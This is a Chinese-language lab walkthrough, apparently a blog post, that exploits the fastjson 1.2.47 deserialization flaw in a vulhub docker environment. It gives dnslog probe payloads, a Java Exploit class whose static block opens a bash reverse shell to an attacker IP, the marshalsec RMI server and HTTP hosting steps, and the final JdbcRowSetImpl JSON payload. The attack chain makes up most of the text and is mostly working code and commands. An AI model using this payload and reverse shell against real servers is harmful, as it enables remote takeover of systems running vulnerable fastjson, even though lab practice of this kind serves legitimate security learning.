fastjson1.2.47rce
fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
环境搭建
vulhub靶场
cd到对应目录
docker-compose up -d

将content-type修改为application/json后可向其POST新的JSON对象,后端会利用fastjson进行解析。
dnslog测试:
dnslog为dnslog地址如:
{"a":{"@type":"java.net.Inet6Address","val":"dnslog"}}
{"a":{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}}
{"a":{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL",
"val":"dnslog"}}""}}
{"a":{"@type":"java.net.URL","val":"dnslog"}}
将拦截到的请求包发送到repeater模块儿后右击改变请求方式。
post包如下

测试结果

创建恶意类搭建服务器,尝试执行命令
目标环境是 openjdk:8u102,这个版本没有 com.sun.jndi.rmi.object.trustURLCodebase的限制(该限制会导致不信任通过URL加载类),我们可以简单利用RMI进行命令执行。
为保证创建恶意类编译环境与反序列化环境(及漏洞所在环境)一致。
1.进入docker虚拟机创建编译
2.下载对应Java版本创建编译
这里选择第二种方式,因为docker里没有javac也没有vim........
下载地址:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html进去后寻找对应版本(jdk1.8.0_102)。需注册一个oracle账号。
下载安装完毕后配置环境变量(配置环境变量教程自行搜索)
java代码,
创建文件和反弹shell命令开一个,注释一个。未做同时开尝试。
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
//String[] commands = {"touch", "/tmp/success"};//创建文件命令
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.253.168/6666 0>&1"};//反弹shell命令
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
javac Exploit.java 编译该类生成class文件。Exploit.class
借助
准备好上述Exploit.class后
可以使用pyhton3在Exploit.class所在文件开启http服务,(也可使用其他,要开启http服务,Exploit要能被靶机访问到)
python -m http.server 此处可加端口号自定端口

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xxxx/#Exploit" 9999
xxxx为Exploit.class所在服务器地址端口号(靶机要能访问到该服务器)

准备完毕;
反弹shell需要nc在一台靶机能访问的机器上开启nc监听,对应上文反弹shell命令中期机器ip.这里我直接在靶机所在的物理机开启了监听。

payload攻击尝试
payload
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://xxxx:9999/Exploit",
"autoCommit":true
}
}
这里xxxx为rmiserver地址。我这里为192.168.253.174。

rmiserver及http.server

反弹shell

图解:
机器1:win10提供http服务机器
机器2:win10提供rmiserver机器
机器3:centos7提供nc接受反弹shell
机器5:攻击机


浙公网安备 33010602011771号